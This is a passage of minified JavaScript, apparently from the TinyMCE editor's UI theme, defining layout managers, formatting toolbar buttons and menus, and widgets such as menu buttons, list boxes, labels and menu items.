t=r.fire("beforecall").meta;t=R.extend({filetype:a},t),n.call(o,function(t,e){r.value(t).fire("change",{meta:e})},r.value(),t)}),e&&(t.icon="browse",t.onaction=e),r._super(t),r.classes.add("filepicker"),Zi(r,s,o.getBody(),a),Qi(r,s,a)}}),er=Nn.extend({recalc:function(t){var e=t.layoutRect(),n=t.paddingBox;t.items().filter(":visible").each(function(t){t.layoutRect({x:n.left,y:n.top,w:e.innerW-n.right-n.left,h:e.innerH-n.top-n.bottom}),t.recalc&&t.recalc()})}}),nr=Nn.extend({recalc:function(t){var e,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,k,E,H,T,S,M,N,O,W,P,D,A,B,L=[],I=Math.max,z=Math.min;for(i=t.items().filter(":visible"),r=t.layoutRect(),o=t.paddingBox,s=t.settings,f=t.isRtl()?s.direction||"row-reversed":s.direction,a=s.align,l=t.isRtl()?s.pack||"end":s.pack,u=s.spacing||0,"row-reversed"!==f&&"column-reverse"!==f||(i=i.set(i.toArray().reverse()),f=f.split("-")[0]),"column"===f?(C="y",_="h",R="minH",k="maxH",H="innerH",E="top",T="deltaH",S="contentH",P="left",O="w",M="x",N="innerW",W="minW",D="right",A="deltaW",B="contentW"):(C="x",_="w",R="minW",k="maxW",H="innerW",E="left",T="deltaW",S="contentW",P="top",O="h",M="y",N="innerH",W="minH",D="bottom",A="deltaH",B="contentH"),d=r[H]-o[E]-o[E],w=c=0,e=0,n=i.length;e<n;e++)m=(h=i[e]).layoutRect(),d-=e<n-1?u:0,0<(g=h.settings.flex)&&(c+=g,m[k]&&L.push(h),m.flex=g),d-=m[R],w<(p=o[P]+m[W]+o[D])&&(w=p);if((y={})[R]=d<0?r[R]-d+r[T]:r[H]-d+r[T],y[W]=w+r[A],y[S]=r[H]-d,y[B]=w,y.minW=z(y.minW,r.maxW),y.minH=z(y.minH,r.maxH),y.minW=I(y.minW,r.startMinWidth),y.minH=I(y.minH,r.startMinHeight),!r.autoResize||y.minW===r.minW&&y.minH===r.minH){for(b=d/c,e=0,n=L.length;e<n;e++)(v=(m=(h=L[e]).layoutRect())[k])<(p=m[R]+m.flex*b)?(d-=m[k]-m[R],c-=m.flex,m.flex=0,m.maxFlexSize=v):m.maxFlexSize=0;for(b=d/c,x=o[E],y={},0===c&&("end"===l?x=d+o[E]:"center"===l?(x=Math.round(r[H]/2-(r[H]-d)/2)+o[E])<0&&(x=o[E]):"justify"===l&&(x=o[E],u=Math.floor(d/(i.length-1)))),y[M]=o[P],e=0,n=i.length;e<n;e++)p=(m=(h=i[e]).layoutRect()).maxFlexSize||m[R],"center"===a?y[M]=Math.round(r[N]/2-m[O]/2):"stretch"===a?(y[O]=I(m[W]||0,r[N]-o[P]-o[D]),y[M]=o[P]):"end"===a&&(y[M]=r[N]-m[O]-o.top),0<m.flex&&(p+=m.flex*b),y[_]=p,y[C]=x,h.layoutRect(y),h.recalc&&h.recalc(),x+=p+u}else if(y.w=y.minW,y.h=y.minH,t.layoutRect(y),this.recalc(t),null===t._lastRect){var F=t.parent();F&&(F._lastRect=null,F.recalc())}}}),ir=Mn.extend({Defaults:{containerClass:"flow-layout",controlClass:"flow-layout-item",endClass:"break"},recalc:function(t){t.items().filter(":visible").each(function(t){t.recalc&&t.recalc()})},isNative:function(){return!0}}),rr=function(t,e){return n=e,r=(i=t)===undefined?_.document:i.dom(),Si(r)?mt.none():mt.from(r.querySelector(n)).map(Zn.fromDom);var n,i,r},or=function(t,e){return function(){t.execCommand("mceToggleFormat",!1,e)}},sr=function(t,e,n){var i=function(t){n(t,e)};t.formatter?t.formatter.formatChanged(e,i):t.on("init",function(){t.formatter.formatChanged(e,i)})},ar=function(t,n){return function(e){sr(t,n,function(t){e.control.active(t)})}},lr=function(i){var e=["alignleft","aligncenter","alignright","alignjustify"],r="alignleft",t=[{text:"Left",icon:"alignleft",onclick:or(i,"alignleft")},{text:"Center",icon:"aligncenter",onclick:or(i,"aligncenter")},{text:"Right",icon:"alignright",onclick:or(i,"alignright")},{text:"Justify",icon:"alignjustify",onclick:or(i,"alignjustify")}];i.addMenuItem("align",{text:"Align",menu:t}),i.addButton("align",{type:"menubutton",icon:r,menu:t,onShowMenu:function(t){var n=t.control.menu;R.each(e,function(e,t){n.items().eq(t).each(function(t){return t.active(i.formatter.match(e))})})},onPostRender:function(t){var n=t.control;R.each(e,function(e,t){sr(i,e,function(t){n.icon(r),t&&n.icon(e)})})}}),R.each({alignleft:["Align left","JustifyLeft"],aligncenter:["Align center","JustifyCenter"],alignright:["Align right","JustifyRight"],alignjustify:["Justify","JustifyFull"],alignnone:["No alignment","JustifyNone"]},function(t,e){i.addButton(e,{active:!1,tooltip:t[0],cmd:t[1],onPostRender:ar(i,e)})})},ur=function(t){return t?t.split(",")[0]:""},cr=function(l,u){return function(){var a=this;a.state.set("value",null),l.on("init nodeChange",function(t){var e,n,i,r,o=l.queryCommandValue("FontName"),s=(e=u,r=(n=o)?n.toLowerCase():"",R.each(e,function(t){t.value.toLowerCase()===r&&(i=t.value)}),R.each(e,function(t){i||ur(t.value).toLowerCase()!==ur(r).toLowerCase()||(i=t.value)}),i);a.value(s||null),!s&&o&&a.text(ur(o))})}},dr=function(n){n.addButton("fontselect",function(){var t,e=(t=function(t){for(var e=(t=t.replace(/;$/,"").split(";")).length;e--;)t[e]=t[e].split("=");return t}(n.settings.font_formats||"Andale Mono=andale mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times New Roman=times new roman,times,serif;Trebuchet MS=trebuchet ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf dingbats"),R.map(t,function(t){return{text:{raw:t[0]},value:t[1],textStyle:-1===t[1].indexOf("dings")?"font-family:"+t[1]:""}}));return{type:"listbox",text:"Font Family",tooltip:"Font Family",values:e,fixedWidth:!0,onPostRender:cr(n,e),onselect:function(t){t.control.settings.value&&n.execCommand("FontName",!1,t.control.settings.value)}}})},fr=function(t){dr(t)},hr=function(t,e){return/[0-9.]+px$/.test(t)?(n=72*parseInt(t,10)/96,i=e||0,r=Math.pow(10,i),Math.round(n*r)/r+"pt"):t;var n,i,r},mr=function(t,e,n){var i;return R.each(t,function(t){t.value===n?i=n:t.value===e&&(i=e)}),i},gr=function(n){n.addButton("fontsizeselect",function(){var t,s,a,e=(t=n.settings.fontsize_formats||"8pt 10pt 12pt 14pt 18pt 24pt 36pt",R.map(t.split(" "),function(t){var e=t,n=t,i=t.split("=");return 1<i.length&&(e=i[0],n=i[1]),{text:e,value:n}}));return{type:"listbox",text:"Font Sizes",tooltip:"Font Sizes",values:e,fixedWidth:!0,onPostRender:(s=n,a=e,function(){var o=this;s.on("init nodeChange",function(t){var e,n,i,r;if(e=s.queryCommandValue("FontSize"))for(i=3;!r&&0<=i;i--)n=hr(e,i),r=mr(a,n,e);o.value(r||null),r||o.text(n)})}),onclick:function(t){t.control.settings.value&&n.execCommand("FontSize",!1,t.control.settings.value)}}})},pr=function(t){gr(t)},vr=function(n,t){var i=t.length;return R.each(t,function(t){t.menu&&(t.hidden=0===vr(n,t.menu));var e=t.format;e&&(t.hidden=!n.formatter.canApply(e)),t.hidden&&i--}),i},br=function(n,t){var i=t.items().length;return t.items().each(function(t){t.menu&&t.visible(0<br(n,t.menu)),!t.menu&&t.settings.menu&&t.visible(0<vr(n,t.settings.menu));var e=t.settings.format;e&&t.visible(n.formatter.canApply(e)),t.visible()||i--}),i},yr=function(t){var i,r,o,e,s,n,a,l,u=(r=0,o=[],e=[{title:"Headings",items:[{title:"Heading 1",format:"h1"},{title:"Heading 2",format:"h2"},{title:"Heading 3",format:"h3"},{title:"Heading 4",format:"h4"},{title:"Heading 5",format:"h5"},{title:"Heading 6",format:"h6"}]},{title:"Inline",items:[{title:"Bold",icon:"bold",format:"bold"},{title:"Italic",icon:"italic",format:"italic"},{title:"Underline",icon:"underline",format:"underline"},{title:"Strikethrough",icon:"strikethrough",format:"strikethrough"},{title:"Superscript",icon:"superscript",format:"superscript"},{title:"Subscript",icon:"subscript",format:"subscript"},{title:"Code",icon:"code",format:"code"}]},{title:"Blocks",items:[{title:"Paragraph",format:"p"},{title:"Blockquote",format:"blockquote"},{title:"Div",format:"div"},{title:"Pre",format:"pre"}]},{title:"Alignment",items:[{title:"Left",icon:"alignleft",format:"alignleft"},{title:"Center",icon:"aligncenter",format:"aligncenter"},{title:"Right",icon:"alignright",format:"alignright"},{title:"Justify",icon:"alignjustify",format:"alignjustify"}]}],s=function(t){var i=[];if(t)return R.each(t,function(t){var e={text:t.title,icon:t.icon};if(t.items)e.menu=s(t.items);else{var n=t.format||"custom"+r++;t.format||(t.name=n,o.push(t)),e.format=n,e.cmd=t.cmd}i.push(e)}),i},(i=t).on("init",function(){R.each(o,function(t){i.formatter.register(t.name,t)})}),{type:"menu",items:i.settings.style_formats_merge?i.settings.style_formats?s(e.concat(i.settings.style_formats)):s(e):s(i.settings.style_formats||e),onPostRender:function(t){i.fire("renderFormatsMenu",{control:t.control})},itemDefaults:{preview:!0,textStyle:function(){if(this.settings.format)return i.formatter.getCssText(this.settings.format)},onPostRender:function(){var n=this;n.parent().on("show",function(){var t,e;(t=n.settings.format)&&(n.disabled(!i.formatter.canApply(t)),n.active(i.formatter.match(t))),(e=n.settings.cmd)&&n.active(i.queryCommandState(e))})},onclick:function(){this.settings.format&&or(i,this.settings.format)(),this.settings.cmd&&i.execCommand(this.settings.cmd)}}});n=u,t.addMenuItem("formats",{text:"Formats",menu:n}),l=u,(a=t).addButton("styleselect",{type:"menubutton",text:"Formats",menu:l,onShowMenu:function(){a.settings.style_formats_autohide&&br(a,this.menu)}})},xr=function(n,t){return function(){var r,o,s,e=[];return R.each(t,function(t){e.push({text:t[0],value:t[1],textStyle:function(){return n.formatter.getCssText(t[1])}})}),{type:"listbox",text:t[0][0],values:e,fixedWidth:!0,onselect:function(t){if(t.control){var e=t.control.value();or(n,e)()}},onPostRender:(r=n,o=e,function(){var e=this;r.on("nodeChange",function(t){var n=r.formatter,i=null;R.each(t.parents,function(e){if(R.each(o,function(t){if(s?n.matchNode(e,s,{value:t.value})&&(i=t.value):n.matchNode(e,t.value)&&(i=t.value),i)return!1}),i)return!1}),e.value(i)})})}}},wr=function(t){var e,n,i=function(t){for(var e=(t=t.replace(/;$/,"").split(";")).length;e--;)t[e]=t[e].split("=");return t}(t.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre");t.addMenuItem("blockformats",{text:"Blocks",menu:(e=t,n=i,R.map(n,function(t){return{text:t[0],onclick:or(e,t[1]),textStyle:function(){return e.formatter.getCssText(t[1])}}}))}),t.addButton("formatselect",xr(t,i))},_r=function(e,t){var n,i;if("string"==typeof t)i=t.split(" ");else if(R.isArray(t))return function(t){for(var e=[],n=0,i=t.length;n<i;++n){if(!pt(t[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+t);xt.apply(e,t[n])}return e}(R.map(t,function(t){return _r(e,t)}));return n=R.grep(i,function(t){return"|"===t||t in e.menuItems}),R.map(n,function(t){return"|"===t?{text:"-"}:e.menuItems[t]})},Rr=function(t){return t&&"-"===t.text},Cr=function(n){var i=kt(n,function(t,e){return!Rr(t)||!Rr(n[e-1])});return kt(i,function(t,e){return!Rr(t)||0<e&&e<i.length-1})},kr=function(t){var e,n,i,r,o=t.settings.insert_button_items;return Cr(o?_r(t,o):(e=t,n="insert",i=[{text:"-"}],r=R.grep(e.menuItems,function(t){return t.context===n}),R.each(r,function(t){"before"===t.separator&&i.push({text:"|"}),t.prependToContext?i.unshift(t):i.push(t),"after"===t.separator&&i.push({text:"|"})}),i))},Er=function(t){var e;(e=t).addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(kr(e)),this.menu.renderNew()}})},Hr=function(t){var n,i,r;n=t,R.each({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(t,e){n.addButton(e,{active:!1,tooltip:t,onPostRender:ar(n,e),onclick:or(n,e)})}),i=t,R.each({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"],removeformat:["Clear formatting","RemoveFormat"],remove:["Remove","Delete"]},function(t,e){i.addButton(e,{tooltip:t[0],cmd:t[1]})}),r=t,R.each({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"]},function(t,e){r.addButton(e,{active:!1,tooltip:t[0],cmd:t[1],onPostRender:ar(r,e)})})},Tr=function(t){var n;Hr(t),n=t,R.each({bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"],newdocument:["New document","mceNewDocument"],cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select all","SelectAll","Meta+A"]},function(t,e){n.addMenuItem(e,{text:t[0],icon:e,shortcut:t[2],cmd:t[1]})}),n.addMenuItem("codeformat",{text:"Code",icon:"code",onclick:or(n,"code")})},Sr=function(n,i){return function(){var t=this,e=function(){var t="redo"===i?"hasRedo":"hasUndo";return!!n.undoManager&&n.undoManager[t]()};t.disabled(!e()),n.on("Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(){t.disabled(n.readonly||!e())})}},Mr=function(t){var e,n;(e=t).addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:Sr(e,"undo"),cmd:"undo"}),e.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:Sr(e,"redo"),cmd:"redo"}),(n=t).addButton("undo",{tooltip:"Undo",onPostRender:Sr(n,"undo"),cmd:"undo"}),n.addButton("redo",{tooltip:"Redo",onPostRender:Sr(n,"redo"),cmd:"redo"})},Nr=function(t){var e,n;(e=t).addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:(n=e,function(){var e=this;n.on("VisualAid",function(t){e.active(t.hasVisual)}),e.active(n.hasVisual)}),cmd:"mceToggleVisualAid"})},Or={setup:function(t){var e;t.rtl&&(ae.rtl=!0),t.on("mousedown progressstate",function(){ze.hideAll()}),(e=t).settings.ui_container&&(h.container=rr(Zn.fromDom(_.document.body),e.settings.ui_container).fold(lt(null),function(t){return t.dom()})),ge.tooltips=!h.iOS,ae.translate=function(t){return M.translate(t)},wr(t),lr(t),Tr(t),Mr(t),pr(t),fr(t),yr(t),Nr(t),Er(t)}},Wr=Nn.extend({recalc:function(t){var e,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,R,C,k,E,H,T,S=[],M=[];e=t.settings,r=t.items().filter(":visible"),o=t.layoutRect(),i=e.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=e.spacingH||e.spacing||0,y=e.spacingV||e.spacing||0,x=e.alignH||e.align,w=e.alignV||e.align,p=t.paddingBox,T="reverseRows"in e?e.reverseRows:t.isRtl(),x&&"string"==typeof x&&(x=[x]),w&&"string"==typeof w&&(w=[w]);for(d=0;d<i;d++)S.push(0);for(f=0;f<n;f++)M.push(0);for(f=0;f<n;f++)for(d=0;d<i&&(c=r[f*i+d]);d++)C=(u=c.layoutRect()).minW,k=u.minH,S[d]=C>S[d]?C:S[d],M[f]=k>M[f]?k:M[f];for(E=o.innerW-p.left-p.right,d=_=0;d<i;d++)_+=S[d]+(0<d?b:0),E-=(0<d?b:0)+S[d];for(H=o.innerH-p.top-p.bottom,f=R=0;f<n;f++)R+=M[f]+(0<f?y:0),H-=(0<f?y:0)+M[f];if(_+=p.left+p.right,R+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=R+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&&l.minH===o.minH){var N;o.autoResize&&((l=t.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N="start"===e.packV?0:0<H?Math.floor(H/n):0;var O=0,W=e.flexWidths;if(W)for(d=0;d<W.length;d++)O+=W[d];else O=i;var P=E/O;for(d=0;d<i;d++)S[d]+=W?W[d]*P:P;for(m=p.top,f=0;f<n;f++){for(h=p.left,a=M[f]+N,d=0;d<i&&(c=r[T?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(S[d],u.startMinWidth),u.x=h,u.y=m,"center"===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:"right"===v?u.x=h+s-u.w:"stretch"===v&&(u.w=s),"center"===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:"bottom"===v?u.y=m+a-u.h:"stretch"===v&&(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&&c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,t.layoutRect(l),this.recalc(t),null===t._lastRect){var D=t.parent();D&&(D._lastRect=null,D.recalc())}}}),Pr=ge.extend({renderHtml:function(){var t=this;return t.classes.add("iframe"),t.canFocus=!1,'<iframe id="'+t._id+'" class="'+t.classes+'" tabindex="-1" src="'+(t.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(t){this.getEl().src=t},html:function(t,e){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=t,e&&e()):c.setTimeout(function(){n.html(t)}),this}}),Dr=ge.extend({init:function(t){this._super(t),this.classes.add("widget").add("infobox"),this.canFocus=!1},severity:function(t){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(t)},help:function(t){this.state.set("help",t)},renderHtml:function(){var t=this,e=t.classPrefix;return'<div id="'+t._id+'" class="'+t.classes+'"><div id="'+t._id+'-body">'+t.encode(t.state.get("text"))+'<button role="button" tabindex="-1"><i class="'+e+"ico "+e+'i-help"></i></button></div></div>'},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.getEl("body").firstChild.data=e.encode(t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e.state.on("change:help",function(t){e.classes.toggle("has-help",t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}}),Ar=ge.extend({init:function(t){var e=this;e._super(t),e.classes.add("widget").add("label"),e.canFocus=!1,t.multiline&&e.classes.add("autoscroll"),t.strong&&e.classes.add("strong")},initLayoutRect:function(){var t=this,e=t._super();return t.settings.multiline&&(Ht.getSize(t.getEl()).width>e.maxW&&(e.minW=e.maxW,t.classes.add("multiline")),t.getEl().style.width=e.minW+"px",e.startMinH=e.h=e.minH=Math.min(e.maxH,Ht.getSize(t.getEl()).height)),e},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+"px"),this._super()},severity:function(t){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(t)},renderHtml:function(){var t,e,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get("text"));return!i&&(e=n.settings.forName)&&(t=n.getRoot().find("#"+e)[0])&&(i=t._id),i?'<label id="'+n._id+'" class="'+n.classes+'"'+(i?' for="'+i+'"':"")+">"+r+"</label>":'<span id="'+n._id+'" class="'+n.classes+'">'+r+"</span>"},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.innerHtml(e.encode(t.value)),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}}),Br=Me.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(t){this._super(t),this.classes.add("toolbar")},postRender:function(){return this.items().each(function(t){t.classes.add("toolbar-item")}),this._super()}}),Lr=Br.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}}),Ir=On.extend({init:function(t){var e=this;e._renderOpen=!0,e._super(t),t=e.settings,e.classes.add("menubtn"),t.fixedWidth&&e.classes.add("fixed-width"),e.aria("haspopup",!0),e.state.set("menu",t.menu||e.render())},showMenu:function(t){var e,n=this;if(n.menu&&n.menu.visible()&&!1!==t)return n.hideMenu();n.menu||(e=n.state.get("menu")||[],n.classes.add("opened"),e.length?e={type:"menu",animate:!0,items:e}:(e.type=e.type||"menu",e.animate=!0),e.renderTo?n.menu=e.parent(n).show().renderTo():n.menu=_e.create(e).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(t){t.control.parent()===n.menu&&(t.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show hide",function(t){"hide"===t.type&&t.control.parent()===n&&n.classes.remove("opened-under"),t.control===n.menu&&(n.activeMenu("show"===t.type),n.classes.toggle("opened","show"===t.type)),n.aria("expanded","show"===t.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]);var i=n.menu.layoutRect(),r=n.$el.offset().top+n.layoutRect().h;r>i.y&&r<i.y+i.h&&n.classes.add("opened-under"),n.fire("showmenu")},hideMenu:function(){this.menu&&(this.menu.items().each(function(t){t.hideMenu&&t.hideMenu()}),this.menu.hide())},activeMenu:function(t){this.classes.toggle("active",t)},renderHtml:function(){var t,e=this,n=e._id,i=e.classPrefix,r=e.settings.icon,o=e.state.get("text"),s="";return(t=e.settings.image)?(r="none","string"!=typeof t&&(t=_.window.getSelection?t[0]:t[1]),t=" style=\"background-image: url('"+t+"')\""):t="",o&&(e.classes.add("btn-has-text"),s='<span class="'+i+'txt">'+e.encode(o)+"</span>"),r=e.settings.icon?i+"ico "+i+"i-"+r:"",e.aria("role",e.parent()instanceof Lr?"menuitem":"button"),'<div id="'+n+'" class="'+e.classes+'" tabindex="-1" aria-labelledby="'+n+'"><button id="'+n+'-open" role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+t+"></i>":"")+s+' <i class="'+i+'caret"></i></button></div>'},postRender:function(){var r=this;return r.on("click",function(t){t.control===r&&function(t,e){for(;t;){if(e===t)return!0;t=t.parentNode}return!1}(t.target,r.getEl())&&(r.focus(),r.showMenu(!t.aria),t.aria&&r.menu.items().filter(":visible")[0].focus())}),r.on("mouseenter",function(t){var e,n=t.control,i=r.parent();n&&i&&n instanceof Ir&&n.parent()===i&&(i.items().filter("MenuButton").each(function(t){t.hideMenu&&t!==n&&(t.menu&&t.menu.visible()&&(e=!0),t.hideMenu())}),e&&(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var t=this;return t.state.on("change:menu",function(){t.menu&&t.menu.remove(),t.menu=null}),t._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}});function zr(i,r){var o,s,a=this,l=ae.classPrefix;a.show=function(t,e){function n(){o&&(Tt(i).append('<div class="'+l+"throbber"+(r?" "+l+"throbber-inline":"")+'"></div>'),e&&e())}return a.hide(),o=!0,t?s=c.setTimeout(n,t):n(),a},a.hide=function(){var t=i.lastChild;return c.clearTimeout(s),t&&-1!==t.className.indexOf("throbber")&&t.parentNode.removeChild(t),o=!1,a}}var Fr=ze.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(t){if(t.autohide=!0,t.constrainToViewport=!0,"function"==typeof t.items&&(t.itemsFactory=t.items,t.items=[]),t.itemDefaults)for(var e=t.items,n=e.length;n--;)e[n]=R.extend({},t.itemDefaults,e[n]);this._super(t),this.classes.add("menu"),t.animate&&11!==h.ie&&this.classes.add("animate")},repaint:function(){return this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){this.hideAll(),this.fire("select")},load:function(){var e,n=this;function i(){n.throbber&&(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&&(n.throbber||(n.throbber=new zr(n.getEl("body"),!0),0===n.items().length?(n.throbber.show(),n.fire("loading")):n.throbber.show(100,function(){n.items().remove(),n.fire("loading")}),n.on("hide close",i)),n.requestTime=e=(new Date).getTime(),n.settings.itemsFactory(function(t){0!==t.length?n.requestTime===e&&(n.getEl().style.width="",n.getEl("body").style.width="",i(),n.items().remove(),n.getEl("body").innerHTML="",n.add(t),n.renderNew(),n.fire("loaded")):n.hide()}))},hideAll:function(){return this.find("menuitem").exec("hideMenu"),this._super()},preRender:function(){var n=this;return n.items().each(function(t){var e=t.settings;if(e.icon||e.image||e.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&&n.on("postrender",function(){n.settings.itemsFactory&&n.load()}),n.on("show hide",function(t){t.control===n&&("show"===t.type?c.setTimeout(function(){n.classes.add("in")},0):n.classes.remove("in"))}),n._super()}}),Ur=Ir.extend({init:function(i){var e,r,o,n,s=this;s._super(i),i=s.settings,s._values=e=i.values,e&&("undefined"!=typeof i.value&&function t(e){for(var n=0;n<e.length;n++){if(r=e[n].selected||i.value===e[n].value)return o=o||e[n].text,s.state.set("value",e[n].value),!0;if(e[n].menu&&t(e[n].menu))return!0}}(e),!r&&0<e.length&&(o=e[0].text,s.state.set("value",e[0].value)),s.state.set("menu",e)),s.state.set("text",i.text||o),s.classes.add("listbox"),s.on("select",function(t){var e=t.control;n&&(t.lastControl=n),i.multiple?e.active(!e.active()):s.value(t.control.value()),n=e})},value:function(n){return 0===arguments.length?this.state.get("value"):(void 0===n||(this.settings.values&&!function e(t){return _t(t,function(t){return t.menu?e(t.menu):t.value===n})}(this.settings.values)?null===n&&this.state.set("value",null):this.state.set("value",n)),this)},bindStates:function(){var i=this;return i.on("show",function(t){var e,n;e=t.control,n=i.value(),e instanceof Fr&&e.items().each(function(t){t.hasMenus()||t.active(t.value()===n)})}),i.state.on("change:value",function(e){var n=function t(e,n){var i;if(e)for(var r=0;r<e.length;r++){if(e[r].value===n)return e[r];if(e[r].menu&&(i=t(e[r].menu,n)))return i}}(i.state.get("menu"),e.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),Vr=ge.extend({Defaults:{border:0,role:"menuitem"},init:function(t){var e,n=this;n._super(t),t=n.settings,n.classes.add("menu-item"),t.menu&&n.classes.add("menu-item-expand"),t.preview&&n.classes.add("menu-item-preview"),"-"!==(e=n.state.get("text"))&&"|"!==e||(n.classes.add("menu-item-sep"),n.aria("role","separator"),n.state.set("text","-")),t.selectable&&(n.aria("role","menuitemcheckbox"),n.classes.add("menu-item-checkbox"),t.icon="selected"),t.preview||t.selectable||n.classes.add("menu-item-normal"),n.on("mousedown",function(t){t.preventDefault()}),t.menu&&!t.ariaHideMenu&&n.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var e,n=this,t=n.settings,i=n.parent();if(i.items().each(function(t){t!==n&&t.hideMenu()}),t.menu){(e=n.menu)?e.show():((e=t.menu).length?e={type:"menu",items:e}:e.type=e.type||"menu",i.settings.itemDefaults&&(e.itemDefaults=i.settings.itemDefaults),(e=n.menu=_e.create(e).parent(n).renderTo()).reflow(),e.on("cancel",function(t){t.stopPropagation(),n.focus(),e.hide()}),e.on("show hide",function(t){t.control.items&&t.control.items().each(function(t){t.active(t.settings.selected)})}).fire("show"),e.on("hide",function(t){t.control===e&&n.classes.remove("selected")}),e.submenu=!0),e._parentMenu=i,e.classes.add("menu-sub");var r=e.testMoveRel(n.getEl(),n.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);e.moveRel(n.getEl(),r),r="menu-sub-"+(e.rel=r),e.classes.remove(e._lastRel).add(r),e._lastRel=r,n.classes.add("selected"),n.aria("expanded",!0)}},hideMenu:function(){var t=this;return t.menu&&(t.menu.items().each(function(t){t.hideMenu&&t.hideMenu()}),t.menu.hide(),t.aria("expanded",!1)),t},renderHtml:function(){var t,e=this,n=e._id,i=e.settings,r=e.classPrefix,o=e.state.get("text"),s=e.settings.icon,a="",l=i.shortcut,u=e.encode(i.url);function c(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function d(t){var e=i.match||"";return e?t.replace(new RegExp(c(e),"gi"),function(t){return"!mce~match["+t+"]mce~match!"}):t}function f(t){return t.replace(new RegExp(c("!mce~match["),"g"),"<b>").replace(new RegExp(c("]mce~match!"),"g"),"</b>")}return s&&e.parent().classes.add("menu-has-icons"),i.image&&(a=" style=\"background-image: url('"+i.image+"')\""),l&&(l=function(t){var e,n,i={};for(i=h.mac?{alt:"&#x2325;",ctrl:"&#x2318;",shift:"&#x21E7;",meta:"&#x2318;"}:{meta:"Ctrl"},t=t.split("+"),e=0;e<t.length;e++)(n=i[t[e].toLowerCase()])&&(t[e]=n);return t.join("+")}(l)),s=r+"ico "+r+"i-"+(e.settings.icon||"none"),t="-"!==o?'<i class="'+s+'"'+a+"></i>\xa0":"",o=f(e.encode(d(o))),u=f(e.encode(d(u))),'<div 